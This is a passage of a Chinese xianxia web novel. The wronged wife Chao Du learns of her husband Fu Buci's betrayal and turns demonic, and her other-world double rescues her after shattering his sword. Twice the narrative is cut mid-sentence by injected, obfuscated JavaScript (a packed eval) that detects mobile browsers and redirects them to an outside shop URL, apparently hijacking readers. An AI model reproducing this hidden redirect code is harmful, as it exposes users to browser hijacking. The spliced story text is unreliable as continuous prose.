虽然她气色不如原来,到底昨天受了重伤,但她精神头可比原来好多了,眼睛也亮晶晶的,倒映着傅不辞的温柔微笑。 朝渡:“好的,确认还是这个世界。” “我昨天买了些新衣服,还没来得及穿给你看。”另一个朝渡蹭着他的手臂,叹气道。 傅不辞用指尖卷起她的一缕头发,缠在指尖亲昵,还安慰她道:“不急,等你养好伤再说,我们来日方长。但有件事你一定要说,是谁把你伤成这样?我去替你报仇。” “此话当真?”另一个朝渡眼中充满期望地看着他。 傅不辞点头:“当真。” “那……”另一个朝渡小心翼翼地打量着他的神色,放轻了声音,犹豫着问,“其实不用你报仇,只是以后凤羽楼你名下开的账户,可以只让我一个人用吗?” 傅不辞先是愣住,继而意识到了什么,神色尴尬了一瞬,随后故作惊讶:“本来就是只有你一人能用,还有谁能用?” 另一个朝渡:“?!” 朝渡:“……”你猜他刚才为什么尴尬,他在骗你啊!!! 但另一个朝渡听不到朝渡心里的呼喊,她先是惊喜地抱住傅不辞:“我就知道!那个账户是你当年专门给我开的,你怎么会把那个账户给那些贱人用!” 傅不辞:“……没错。” 朝渡:你看他!你快看他!他心虚地转头别开视线了! 另一个朝渡仍然没有听到朝渡心里的呼喊,也没有发现傅不辞的心虚,她愤恨道:“可恶的凤羽楼,这些年坑了我们多少钱!” 傅不辞也跟着恨恨道:“我还以为那些凤羽楼的开支都是你买的衣服,没想到是有人冒充你!好了,凤羽楼的事交给我,我会查清楚这些年的每一笔账,该赔的就让他们赔!” 另一个朝渡眷恋地看向他,满目似蜜柔情:“不辞,他们都说你这些年变了。” 傅不辞冷笑:“谁说的?割了他们的舌头。” 另一个朝渡笑了笑,依偎在他怀中:“其实我也是这样感觉的,但你现在变回来就好。” 傅不辞:“……让你感觉变了,是我的错。” “那还要割我的舌头吗?”另一个朝渡笑问。 傅不辞吻上她的嘴角,声音微哑:“那我可舍不得。” 朝渡默默离开,继续去屋顶晒太阳了。 等傅不辞离开后,晒得浑身暖融融的朝渡进去,就听见另一个自己惊喜道:“你可算来了!你昨晚到现在去哪了,怎么现在才来?” 朝渡:“……晒太阳。”所以她刚才压根没发现她来过了。 另一个朝渡笑了笑:“我发现你挺喜欢太阳月亮的,白天晒太阳,晚上晒月亮?这样是有助于修炼吗?” 朝渡:“……没错。”不然还能说什么呢。 “那等我伤好了,我也要这样修炼。”另一个朝渡躺在床上,望着床帐顶,笑得幸福快乐,“你知道吗,我现在好幸福,就算是假的也好,就算是饮鸩止渴也好,我好幸福。” 朝渡:“……你都知道。” 另一个朝渡点头:“嗯,都知道,但他现在还愿意骗我,我也愿意装作不知道。” 朝渡:“……”头疼。 另一个朝渡又开心道:“而且你有没有感觉。他最近好像真的变了,如果他真的变回去了,那我等这么多年也值得了!但是……我知道我让你很失望。” 她望向朝渡,神色认真道:“放弃我吧,离开这里吧,你该有一个更广阔的天地。” 朝渡看向她,她眼中是不安忐忑与愧疚。 “我感觉,我不值得你费这么多时间去帮。”另一个朝渡又道,她垂下眼睛,笑容苦涩,“我不可能练成你那样的剑法,不可能有你那样的修为,你应该也明白,我们的差别已经太大了。” 朝渡却走向她,道:“我又不是要让你变得跟我一样。” 另一个朝渡愣住,朝渡在她身边坐下,握住她的手,温柔道:“我只是不想你活得这么痛苦,我希望你可以真正的开心幸福,不需要自己骗自己,不需要任何掩饰假装。” 另一个朝渡嘴唇微动,说不出话来,但眼中有泪光闪动。 朝渡用指尖拭去她眼角的泪,又道:“你不用有任何压力,对于帮自己,我有足够的耐心,千千万万次,我也不急,不悔。我只想你能真的开心幸福。” 另一个朝渡蓦地抱住了她。朝渡回拥着她,轻拍她的背,轻声道:“你大可以多做尝试,实在不甘心就继续,哪日释然了就换条路,我会一直在,别怕,别急。不过我建议等你伤好了之后每天继续练剑,哪怕只是为了强身健体也好,身体健康太重要了,而且说不定练着练着,就会发现新的路呢。” “嗯!”另一个朝渡紧紧抱着朝渡,“等我伤好了就继续,这次再不会放弃剑了。谢谢你。” 朝渡揉了揉她的头顶,笑道:“我们之间无需客气,你好好休息吧。” 另一个朝渡:“嗯!” ………… “丝如弦那个蠢货,居然把账下还有其他人使用这种事也告诉她。” 傅不辞脸色阴沉,唤来一个亲卫,“去告诉丝如弦,让她把账理清楚,并且以后那个账只能由朝渡一个人使用。” 亲卫:“是!那那些有翠羽令的……” 傅不辞白了他一眼:“这还用问?再开一个账户不就行了。” 亲卫:“……是!” ………… 接下来的几日,朝渡日日修炼,积蓄灵力。 另一个朝渡养伤,傅不辞经常会去看望她,哄她开心,两人的感情似乎越来越好了。 傅不辞最近很忙,他要哄的可不止他夫人一个,不过当有些“解语花”不再善解人意,看不清自己位置,甚至有些傻得可笑的妄想后,他也懒得哄了,随便派人打发了,毕竟他最近还有件重要正事要忙——修仙界即将要举办十年一次的新剑试锋大比,选拔修仙界新秀人才。 这是他担任仙盟盟主后举办的第一届,也是自十年前那场让修仙界元气大伤的仙魔鬼三方大战后的第一届,如果能顺利举办,成功选拔出人才,可以解决让他头疼不已的缺人可用的问题,也能展示修仙界实力,震慑周围蠢蠢欲动的妖魔鬼三方,可谓至关重要。 但那群不安分的妖族使者表示,这次妖族也想参加。 之前从未有过这样的先例,傅不辞与六仙侍以及仙盟长老们经过了几轮讨论,决定同意妖族的请求。 一来不能露怯,否则妖族会愈发嚣张,甚至可能引发新的战事,二来这是个难得的机会,比试一下双方新秀的实力,这对于双方未来十年的合作都有很重要的影响,三来这对于魔尊与鬼王来说,几乎意味着修仙界与妖族暂时合作结盟,修仙界应该能安定一段时期……吧。 一次仙盟的内部商议中,游藏道:“本次新剑试锋大比的地点初步定在修仙界与妖族交界处,但具体在哪还要跟妖族商议,还有大比规则以及比试项目都要有修改,往届寻妖降妖那一项肯定得删了。另外有妖族使者提议参赛者的年龄限制也得重定,往届参赛者最高两百岁的年龄限制对于妖族而言太低了,因为妖族有化形期的存在,两百年对于很多妖族来说甚至无法化形。” 有仙盟长老道:“他们说的也有道理,但这样一来,妖族参赛者的年龄上限应该会比我们这边高不少,可有些妖族化形快啊,他们化形快修炼的时间就多,这对我们这边的弟子是不是不公平?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657202|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宁长康赞同这一点:“妖族内部,各种妖区别也很大,具体定到多少岁是个问题。让妖族自己去定的话他们肯定会偏袒自己妖,想方设法把年龄上限定高的。还有寻妖降妖这一项未必要删,可以换换形式,比如改成双方各派二十人在山里捉迷藏,谁能找到并打败最多数量的对方,谁就获胜。” 傅不辞听得不耐烦:“只把主要事项列下来,具体细节让仙盟跟妖族那边一项项再议。”他只期盼多出现些人才,十年前修仙界元气大伤,他虽然担任仙盟盟主,但能用的人太少了。 不但能用的人少,这些人还十分窝囊无用,比如最近,他们连找两条修为极低的蛇都找不到! 这段时间,仙盟所在的问玄山昼夜通明,夜间的灯光比夜幕群星还明亮。 朝渡注意到这一点,苏柔蕊也经常把相关消息送给她听,朝渡问另一个朝渡:“你要不也参与进去?” 另一个朝渡尴尬道:“不辞他很多年不让我参与这些事了,说是怕我累着,我也怕我做不好给他添麻烦,但是如果你想让我去试试,那我就去试试?” 朝渡鼓励道:“试试嘛,有我在,出不了大问题。” “好!那等他今晚来了,我跟他商量商量。”另一个朝渡下定决心,又忽然想起什么,转身从桌上捧过来一个玉匣子,一打开,里面珠光闪烁,金玉生辉,琳琅满目。 “你看!这些是他昨晚送给我的,里面每一件都是他亲手挑的,说是让我拿来搭配我的新衣裙。”另一个朝渡抚摸着匣子中的各种簪钗轻笑道,弯起眉眼,眉目间皆是温柔幸福的笑意,“简直像做梦一样,我等了这么多年,终于等到他回心转意了,对了,他最近还亲自教忆昔剑法了,这可是这么多年头一次!” 朝渡点了点头,也笑道:“那就好。” 正如她所言,像梦一样,只是,梦是会醒的。傅不辞并不是真的变了,他只是想借新剑试锋大会的机会,继续维持和宣扬自己的好名声。 他前几日亲自给朝渡喂药,第二天满修仙界都知道了,他昨晚送朝渡这匣首饰,仅到今天上午,朝渡已经听仙宫里的好几个人谈起过了,这些消息比长了腿跑得都快,现在是人是妖都在称赞盟主情深义重多年不变,对盟主夫人不离不弃痴心不改。 不过,总有些人沉迷梦中不愿醒来,甚至忘了这是梦。 梦既然总会醒的,她又何必急着戳破。而且有些事,急不来。 另一个朝渡一脸幸福地收起匣子,小心放好,又道:“那我去准备一下今晚的晚宴。” 朝渡:“晚宴?” 另一个朝渡笑道:“嗯,有点好吃的,才好开口嘛。而且他很久没有尝过我的手艺了,这次,我要做点他爱吃的菜,把他的胃和心一切抓住!” ………… 月亮从翡翠宫阙后探出脑袋时,琴瑟宫的正殿摆了一张小桌,上面有六菜两汤,都是另一个朝渡亲手做的,都是傅不辞爱吃的。 她为此忙活了大半天,虽然累,但她脸上一直带着笑容,期待着傅不辞能喜欢这几道菜,称赞她的手艺,并因此更爱她一些。 另一个朝渡做完饭还换上了从凤羽楼买回的衣裳,粉蓝色的长裙,袖如蝶翼,温柔又不失俏皮,精致又不过分华丽,衬得人像一枝月下海棠。 她还挽了个单螺髻,发髻上插着他新送的金步摇。 等待傅不辞过来时,另一个朝渡坐在桌一边,单手托腮望着菜,神色温柔幸福,仿佛已经窥见了一会与爱人的幸福时光。 然而宫殿内的蜡烛越来越短,空中月亮已完全展现皎洁的容颜,她等的爱人还没来。 “他最近每晚都会来的,为什么今晚还没来?”另一个朝渡望着菜,神色呆滞茫然,喃喃自语,“他是今天特别忙吗?应该是吧,总不会是他又去找那些贱人了吧?” 旁边修炼的朝渡闭目轻叹,看,梦都不用她戳破,傅不辞稍有不对劲,她就会迅速想起梦以外,那曾让她痛苦不已的种种真实。 “你说,他还会来吗?”另一个朝渡不知道想起了什么,神情逐渐痛苦,“他到底在做什么,在见谁,为什么还不来?!!!” 忽然,她猛地抬头望向朝渡,目光中隐有几分疯狂:“我要去找他!我不能就这样干等着,我要亲眼看看,他到底在做什么,他在见哪个贱人?!!如果他真的是在干正事,那我,那我就陪他一起,像很多年前一样,他应该不会拒绝吧?” 倒是朝渡有些犹豫:“这……”万一像上一次一样,傅不辞在见……她能接受得了吗? “拜托你了!”另一个朝渡猛地站起身,跑到她身旁,拉住她的袖子恳求道,“帮帮我吧!有些事不是我不知道就不存在了,既然如此,还不如让我知道个明白!” 朝渡见她态度实在坚决,非去不可,无奈同意。 两个朝渡出发,离开琴瑟宫,先来到了灯光黯淡的仙居宫,被守卫告知盟主至今还没回来,应该还在仙盟。 “还在仙盟……吗?那就好。”另一个朝渡安心了些,离开了仙居宫。 待她走远了些,趁旁边没人时,却同朝渡小声道:“其实那些侍卫也不确定他在哪,甚至有骗我的可能,之前也不是没有这种情况……你能不能带我去仙盟看一眼?如果他真的在仙盟忙正事,我就彻底放心了。” 朝渡无奈轻叹,看她心神不宁的样子,实在心疼她,同意了她的请求。 两人又乘坐金玉比翼鸟来到了仙盟。 问玄山山顶上灯火通明,恢宏高大的仙盟大门前,另一个朝渡向仙盟守卫出示特制的行云令证明身份,询问傅不辞是否在仙盟内。 仙盟门口的几个守卫飞快地互相看了一眼,其中一个答道:“盟主今天还未离开仙盟,不过……” 另一个朝渡:“不过什么?” 那个守卫旁边的另一个守卫用胳膊肘撞了一下他,替他答道:“没什么没什么!” 朝渡心道不太妙。 另一个朝渡也察觉到不对劲,追问:“到底怎么了?!” 30. 另一个朝渡入魔 另一个守卫面露难色:“夫人,我们真的什么都不知道。” 另一个朝渡看向其他几个守卫,他们纷纷低头或者转头看向其它方向,没一个敢开口的。 朝渡捏了捏眉心,头疼:傅不辞又折腾出什么幺蛾子了? “好,好得很。”另一个朝渡点了点头,径直转身离去。 待走远了些,另一个朝渡确定周围没人后,对朝渡央求道:“你带我隐身进去吧!我要是直接进去,肯定会惊动傅不辞的,你带我悄悄进去吧!” 朝渡:“这……”她实在担心,如果傅不辞像上一次一样在见……她承受得了吗?可如果一直瞒着她,这又算什么帮她? “求求你,帮帮我。”另一个朝渡苦苦哀求道,“我想知道,我真的好想知道,他现在到底在干什么在见谁?对了,还有上一次,我经脉破碎昏倒那次,你跟着大夫去找傅不辞,大夫很快回来了,你却那么久之后才回来,脸色也不太对,你那时候是不是也看到什么了?!” 另一个朝渡目光灼灼地紧盯着朝渡,朝渡默默移开视线,连她自己也很无奈:她不想瞒的,但实在怕另一个自己承受不了,再重蹈上次经脉破碎的覆辙。 甚至也许会有更可怕的后果。 朝渡斟酌着道:“要不这次,我去看看,然后告诉你?” 另一个朝渡迟疑了一下,坚决摇头:“不要,我要自己亲眼看!连你也会瞒着我的,你为什么不回答你上次到底看到了什么?!你告诉我啊!!!” 朝渡:“……这样吧,等你这次亲眼看过之后,如果你状态稳定,我就告诉你。” 不能总是瞒着她,她总要知道真相,必须知道真相,并且从中成长的。 但也不能让她一起知道,打击太大,容易崩溃。 另一个朝渡苦笑同意:“好,不辞啊,求你让我能够相信你,求你别让我太难堪。” 朝渡怜惜叹息,带着她隐身,返回到仙居宫门口时,正见几个守卫小声议论: “你们说,今天那个女的来找盟主,到底是为了什么事?” “还能是什么事,就那点子事呗。” “她可是雪明派掌门的掌上明珠,没想到她跟盟主也……盟主到底有多少红颜知己啊?” “不知道,数不清。” “朝夫人其实挺可怜的,唉。” 另一个朝渡听得脸色时青时白,最后恨恨道:“沈锦簇!她怎么能这么不要脸!还有不辞他……” 提到傅不辞,她忽然泄了力气,一个字都骂不出来,沉默片刻后苦笑道:“幸好我们是隐身进来的,不然我要成了全仙宫的笑话了。” 朝渡却道:“该成为笑话的另有其人。” 另一个朝渡看了看眼前偌大的仙盟主楼,又望向右侧小楼:“我记得那栋楼里有他的书房,先去那里看看?说不定沈锦簇其实真的在找不辞谈正事……” 朝渡怜惜地看了她一眼,其实她心里什么都清楚,只是不敢承认,不敢接受,还在试图自己骗自己。 朝渡开启灵视,又以神识辅助扩大观察范围,几乎顷刻间将那整栋楼看了个遍,随后摇头:“不在那里。” 另一个朝渡迟疑地看了看另一个自己:“真的不在?” “真的。”朝渡无奈地扶额叹息,“说好了这次让你亲眼看的,我不会骗你的,我再找找,唔,找到了。” 朝渡伸手指向左边一栋小楼,那是一栋用来会客用的精巧小楼。 另一个朝渡跟着看过去,疑惑问:“他和沈锦簇为什么会在这栋楼里,难道他们真的在谈正事?” 朝渡没有回答,如果傅不辞和沈锦簇是在谈正事,那两人离得也太近了些…… “你真的要去吗?”朝渡再次询问。 另一个朝渡沉默片刻,抱着剑重重点头,目光坚定:“要去!我要亲眼看看!” 朝渡提醒:“你心里最好有个准备,别再灵力散溢损伤经脉了。” “……嗯!”另一个朝渡召出朗月剑,双手捧剑握紧,仿佛这把剑能给她极大的勇气。随后她将剑抱在怀里,深深呼吸一次,声音微颤又坚定地道,“我准备好了,带我进去吧!” 朝渡一声轻叹,带着她飞向小楼,穿透墙壁与屋内的隔音阵法,还没站稳就听到了沈锦簇哭着控诉道:“你现在整日跟朝渡亲亲热热,还让所有人都知道,却不愿意见我了!六仙侍的位置你宁愿空着都不愿意给我!沈家的忙你也不愿意帮!” 傅不辞冷冷地看着趴在自己肩头,哭得面容都有点扭曲的沈锦簇,质问:“这就是你今天跑过来发疯的原因?六仙侍需要本事的,你有什么本事配当六仙侍?” 另一个朝渡欣喜地看向傅不辞,她能看出来,傅不辞不想见沈锦簇,是沈锦簇非要自己凑上来的! 她开心地抓住朝渡的手,用眼神道:他真的变了!他甚至不想见她了! 朝渡却没有赞同,只是继续观察。 沈锦簇绝望地望着傅不辞,绝望中惨笑着反问:“那苏柔蕊她有什么本事?就因为她是修仙界第一美人?!” 傅不辞讥讽道:“有本事你也拿下这个名号。至于沈家的忙,我凭什么要帮?” 沈锦簇呆住,随后离开他的膝盖,站起身退后一步,指着他的鼻子,咬牙切齿道:“十年前我爹帮你当盟主时,你明明说好要和沈家结盟,等你当上盟主后自会照顾沈家,还要让我当盟主夫人的!我已经等了十年了啊!等到如今等成了周围人的笑话!你这个背信弃义冷血薄情的人,你把当初的许诺全忘了吗?!” 另一个朝渡不可置信地看向傅不辞,在心里拼命祈求:‘快否认啊不辞,求求你快否认啊!!!’ 傅不辞望着沈锦簇,冰冷讥诮道:“我也给了你们沈家十年时间,是你们自己没用,让她还好端端当着盟主夫人,唯一一次受重伤还是被气出来的,一群废物。” 另一个朝渡彻底呆住。 她听旁人说无数次他想换夫人,都不及听他亲口说一次来的冲击大。 她这十年来如履薄冰,警惕一切害怕一切,小心翼翼地保护着忆昔,就像个笑话。 他早知道一切,却只是冷眼旁观坐视不理,因为这是他给沈家的“十年时间”。 沈家没能成功害了她,倒成了他口中的废物。 哪怕她已经做了心理准备,此刻的痛苦也难以承受,耳鸣,眩晕,头痛已经分不清了,只感觉一阵阵天旋地转,还有锥心刺骨的痛贯穿四肢百骸。 模模糊糊的声音响起,但她已经听不清听不懂,也分不清这是谁的声音。 轰鸣与空白交替占据她的耳朵。 血从口中溢出,她也感觉不到味道。 她只是抱紧朗月剑,呆呆地望着傅不辞,这一刻,她忽然觉得这个人无比陌生。 他只有与她的爱人相似的皮囊。 但他不是他! 不知从哪天哪夜哪时开始,他已经不是他了! 眼前的这个人沉迷酒色,玩弄权术,穷奢极欲,不再勤于修炼,忘了成仙的目标,忘了与她许下的那些誓言。 他就是个冷漠傲慢虚伪的怪物!他根本不是她爱的那个明朗似晨日,温柔如晚风的少年! 那她的爱人呢? 周围不知不觉弥漫起血色迷雾,什么都看不清,好像有谁在低语呢喃,或者是在呼喊,又好像有什么在嘶吼,但她什么都听不清。 另一个朝渡四处张望,害怕慌张地大声呼喊:“不辞!不辞呢?不辞你在哪?!” 她拼命呼喊爱人的名字,她终于看到了他。 少年傅不辞穿过血色迷雾向她奔来,笑容明朗如旧,清澈的目光中满是对她的爱意,他也大声呼喊回应她:“渡儿,我在这!让你久等了!” 一道声音忽然在脑海中炸响:“醒醒!这不是……!!!” 这是谁的声音?好耳熟,她说不是什么? 另一个朝渡听不清,也顾不上,她看到她的爱人向她张开双臂,想要将她拥入怀中。 另一个朝渡眼中含泪,嘴角带笑,幸福地向他伸出手,等待着这个一定无比温暖的拥抱,等待着这个她等了很久很久的拥抱。 可她的爱人的额头忽然出现了一道竖着的血线,血线飞速向下蔓延,一双沾满血的手从血线中伸出,将那碍事的皮囊向两侧撕裂掰开。 也将那个即将到来的拥抱彻底粉碎。 随后,从她爱人的身躯里钻出来了一个血淋淋的怪物,这怪物,长着她爱人的面容。 那个无比熟悉的声音再次响起:“快停……!……你会……!” 另一个朝渡在极度的惊恐中呆住,她脑子乱糟糟的,什么都听不清,只能眼睁睁地看着那怪物对她嘶吼,露出獠牙,又见它忽然口吐人言,温柔询问:“渡儿,你怎么在这里?” 另一个朝渡向后退,却退不动,肩膀很沉,就像被谁按着一样,可那怪物却向她走了过来,每靠近一步,怪物身上的血迹逐渐消失,肢体也变得越发像人类的四肢。 它越来越像她的爱人。 可它不是!可它不是! 是它杀了他!是它杀了她的爱人! 她亲眼看到了!!! “……快……!!!”那个无比熟悉的声音再次响起,声音一次比一次焦急,一次比一次模糊。 另一个朝渡根本顾不上这模糊的声音,她忽然不再试图退后,反而低头看向怀中的朗月剑。 忽然,她抽剑出鞘,望着皎洁如月的剑身,以及剑后的怪物,眼角有殷红的血如泪般流下,目光中的恨意浓烈森冷到渗人。 “你杀了不辞,你这个怪物,居然杀了不辞!” “不辞,我一定会杀了这个怪物,替你报仇的!” 那怪物表情诧异,再次口吐人言:“你在胡说什么?!谁是怪物?我没死啊!” “你是怪物,我要杀了你,给不辞报仇。”另一个朝渡一字一句地恨恨说着,脸上的血泪竟缓缓由红变黑,而她的眼珠却由黑变红。 下一瞬,惊人的魔气从另一个朝渡身上迸发出来,刹那间将整个房间震碎! 四处飞溅的碎木板瓦片与尘埃中,另一个朝渡举起清亮的朗月剑,挟着冲天的魔气与杀气,狠狠斩向那怪物,怒吼道:“把我的不辞还给我!!!” 在沈锦簇的惊恐尖叫声中,傅不辞立刻召出青云剑去挡,却在格挡时忽然失了神。 那一瞬,他看到他曾经的挚爱,握着他年少时的佩剑,向他刺来。 十多年前,也曾有过这一幕,那时她与他交换佩剑切磋,她手执朗月剑,笑吟吟地挥向他,明亮的双眸中全然是温柔与爱意。 此刻,她面容不曾改变,眼睛却中只有恨,足以焚天裂海的恨,只想将他挫骨扬灰的恨。 熟悉又陌生,相似又割裂。 何其荒诞! 他就是傅不辞啊!她真的疯了!!! 他一时恍惚,晃了神,也慌了神。 她到底看到了什么?她为什么会说他是怪物?她为什么说他杀了自己,要向他复仇?! 傅不辞咬着牙,勉强稳定心神,挡下她的全力一击,眼角余光飞快环视周围:这楼彻底塌了,隔音防窥的阵法全坏了,原来守在门外的护卫现在全都围在旁边看着,等着他的命令,还有人正从远处飞来。 这么多双眼睛,这件事没法轻易掩盖下去了,他作为仙盟盟主,夫人却入了魔,他必须得给出个态度。 按照仙盟的规矩,入了魔的人,要么放逐出修仙界,要么直接除掉,要么永世关押在镇魔钟内。 这件事,绝不能影响他的盟主之位,那就只能…… 傅不辞目生狠意,面对“朝渡”的再次进攻,他不再只是格挡,反而抓住机会将她的朗月剑一掀挑飞,随后一剑直刺向她的肩膀。 砰———— 青仙剑没有刺进入魔者的肩膀,反而被一道缠绕着雷光的墨玉长剑架在半空。 一青一黑两剑相碰,锐利磅礴的剑气如狂风挟着雷电呼啸四周,瞬间将周围十丈内全部夷为平地,许多护卫都被掀翻吹飞了。 傅不辞隔着两柄寒光森然的长剑,看到了一双藏在面具下的眼睛,一双无比熟悉,又分外陌生的眼睛。 那是朝渡的眼睛,却十分清醒冷静,与方才充斥着癫狂恨怒的她的眼睛截然不同! 傅不辞用余光看去,发现满身魔气的“朝渡”正步伐踉跄地奔向掉在远处的朗月剑,那现在他眼前的这个是谁?! 此人灵力磅礴,能轻松接住他的一剑,还有这柄缠绕着雷电的墨玉长剑,他竟不曾在修仙名剑谱上见过类似的剑!那剑上缠绕的雷电,为何竟有天雷的气息?! 傅不辞心中巨震,忍不住隔着剑问:“这是什么剑?!你是谁?!” 对方没有回答,只有墨玉长剑上的雷光更盛,亮到无法直视,并且蔓延到了傅不辞的青仙剑上。 傅不辞忽然感觉青仙剑轻了许多,他手中好像只剩下了剑柄的重量。 不好! 他飞快后撤,但下一瞬,他手中的青仙剑变得近乎透明,随后绽出万道雷光,剑刃碎成数十片,如利箭般向他袭来。 “剑断了?!” “盟主的剑居然断了!!!” 护卫们的慌乱呼喊声中,傅不辞以灵力凝结成盾挡下这些来势汹汹的“暗器”,惊恐地看向那实力可怖,只一招毁了他青仙剑的神秘人。 忽然,狂风滚滚,月光瞬间暗沉消失,他茫然抬头看向空中,只见天上乌云呼啸着聚拢,遮蔽了星月,忽然,一道可怖的巨大雷光骤然亮起,一瞬照亮了整个天际,也照亮了她冰冷的眼神,还有她与“朝渡”极其相似的身形。 傅不辞控制不住地退了好几步,心惊胆战不寒而栗:她竟有号令天雷的力量?!!她为何与朝渡如此相似??? 修仙界哪有这样一位隐藏高手?!只有仙才能有这等力量吧…… 一个名字忽然浮现在傅不辞的脑海: 夕溯! 此人是他最近的噩梦。 此人实力强大,又擅长隐匿,只有此人,能悄无声息地来到他附近,替朝渡挡下那一击,只有此人,竟能一招毁了他的青仙剑!还能召集来天雷! 可夕溯的身影为何会与朝渡如此相似?! 夕溯,朝渡……夕溯朝渡! 刹那间,他忽然心念通透:朝夕,渡归!这两人的名字有着密切的联系!这两人间应该也有着密不可分的联系! 他蓦地想起织梦使曾经说过的话,顿时恍然大悟,全部理解了: “她满脑子都是你,爱你爱到想杀了你。”这是朝渡。 “在梦里想杀了你的,既是两个人,也是一个人。”朝渡与夕溯的关系密不可分。 “那两个人,或者说一个人,一个想在梦里杀你,另一个真的能杀你,对你威胁很大哦。”前者说的是朝渡,后者指的是夕溯! 那天闯待仙塔的就是朝渡与夕溯! “夕——溯——!” 傅不辞咬牙切齿,一字一字地念出这两个字,心情极其复杂。 旁边的护卫们本就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666968|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢靠近她,一听这名字,更是不约而同地向后撤了好几步。 而傅不辞也不敢上前,他已经没有剑了,而夕溯能一招震碎他的剑,谁知道她还有什么手段?!难道她真的是仙……?!! 一群人将夕溯包围,却无一人敢上前,一个人悄悄退后半步,旁边的人就迅速退后两三步,这包围圈竟越围越大。 夕溯却反而收了剑,淡淡道:“我不杀你。” 别人不知道这天雷是什么情况,还当是她召来的,可朝渡自己清楚,这天雷分明是来警告她的,就如她来到这个世界第一日那次的天雷一样。 天道不让她杀傅不辞。 它生怕她这个外来客再动手,甚至还加强了对她灵力的压制,她最近修炼的灵力竟有许多调动不了。 朝渡蹙眉,天道应是怕他的死会引起修仙界动荡,造成此方世界大乱,她理解,她也考虑到这一点,并没有打算在今晚就了结了他,但被天道再次压制修为让她很不爽。 罢了,先把另一个自己带走,她入魔的事得尽快处理,有些账,慢慢算。 她望向退后了好几步的傅不辞,淡淡道:“不过,我已看到,你将众叛亲离,自取灭亡。” 傅不辞顿时脸色惨白,原本俊逸的面容都变得扭曲可怖。 但他不敢反驳一句,生怕再引来那携有天雷之力的墨玉剑。 朝渡转过身,飞至另一个朝渡身旁。 另一个朝渡正抱着朗月剑哭泣,锐利的剑刃割得她满手满胳膊都是血,但她仿佛毫无察觉,只是哭求道:“不辞,不辞你醒醒啊!求你不要死,不要死!你不在的这段时间,好多人欺负我,你要替我报仇啊!我好想你,你不要死,明明说好了要陪我一辈子的……” 她竟是把朗月剑认成了傅不辞。 朝渡深深叹息,将手轻放在另一个朝渡的头顶,动用了封魂术,将她的魂魄暂时封印。 另一个朝渡转瞬昏迷了过去,朝渡将她打横抱起,同时,朗月剑收入剑鞘飞到了她的袖中,还有一只白玉鹤从她袖中飞出落到了她身侧。 朝渡带着另一个朝渡飞到了鹤上,白玉鹤振翼而飞,周围无一人敢拦。 两人的身形就此消失,就如同她们出现时悄无声息。 ………… 朝渡带着另一个自己,乘坐白玉鹤,飞离了仙盟的问玄山,她回头看了眼从山顶四散开追捕她们的仙盟守卫,心情复杂。 她斩妖除魔无数,当过仙盟盟主,数次渡劫成了仙,可如今,“自己”竟入了魔,还被仙盟追捕?! 朝渡一边给另一个自己戴上冰髓镇魔镯,一边忆起方才的情形:另一个自己灵力散溢,维持不了隐匿状态,她紧急点了她的几个穴位,封住了她的经脉,却发现她竟有入魔的征兆! 她试图传音让另一个自己冷静,但另一个自己什么都听不进去了。她又尝试给另一个自己传灵力,但起不到清心定神的作用,反而如泥牛入海,眨眼间便消失了。 昏睡令也全然失效。 朝渡擅长除魔,却对入魔时的情形了解不多,当朝渡试了几个法子都没有用,正要直接封印她的魂魄,强行令她魂魄沉睡时,另一个朝渡已经在一瞬间入了魔,彻底失去神智,冲向傅不辞要报仇。 但另一个自己就算入了魔,力量翻了数倍,也根本不是傅不辞的对手。 朝渡帮另一个自己挡住傅不辞的进攻,又将剑中天雷与共鸣结合起来用,碎了傅不辞的剑。 可另一个自己入魔之事,木已成舟,无法更改。 她和另一个自己都对魔修深恶痛绝,她们的爹娘被魔修杀害,锦绣城那一夜,无数人死于魔修之手,包括她们的友人同门。 等另一个自己清醒过来,她该如何面对自己竟入了魔这件事? 而且如今,她们该去往何处? 连朝渡都有些茫然。 她望向前方:天地如此辽阔,群山连绵云海苍茫,明月高悬长风万里,如此美景,可她们正被仙盟追捕,无法欣赏,没有去处…… 不。 果真无法欣赏吗?果真没有去处吗? 朝渡忽然心念通明:分明随时可以欣赏,分明到处都是去处! 天底下可不止是仙盟与青云仙宫,尤其对于另一个朝渡来说,青云仙宫堪称她的囚笼,锁了她的半生。 若是早些带她离开青云仙宫,远离傅不辞,或许她今日就不会入魔了。 可万事没有如果,既然木已成舟,往前看,往前走。 她终于离开了那个囚笼,自今日今时起,天宽地广,任君遨游! 刹那间,朝渡感觉身体一轻,方才被压制的灵力重归她的掌控。 天道对她的压制松了些,她的灵力回到了方才被压制之前的状态。 朝渡却眼神灼灼地望向辽阔夜幕,在心中无声低语:“给我等着!” 哪怕是天道,也别想一直压制她! …… 夕溯带朝渡离开时,傅不辞站在原地,眼睁睁看着她们离开。 震惊,畏惧,恐慌,愤怒,贪婪,艳羡等各种情绪交织成一张铁网,将他牢牢罩在原地。 当两人身形消失时,他才忽然意识到,自己好像永远失去了一双眼睛,一双无时无刻盛满爱意看向他的眼睛。 尽管他早已对这双眼睛感到厌烦,可此刻他竟没有感觉如释重负,倒是空洞感与恐惧感拉着他的心在看不见底的深渊里越沉越深。 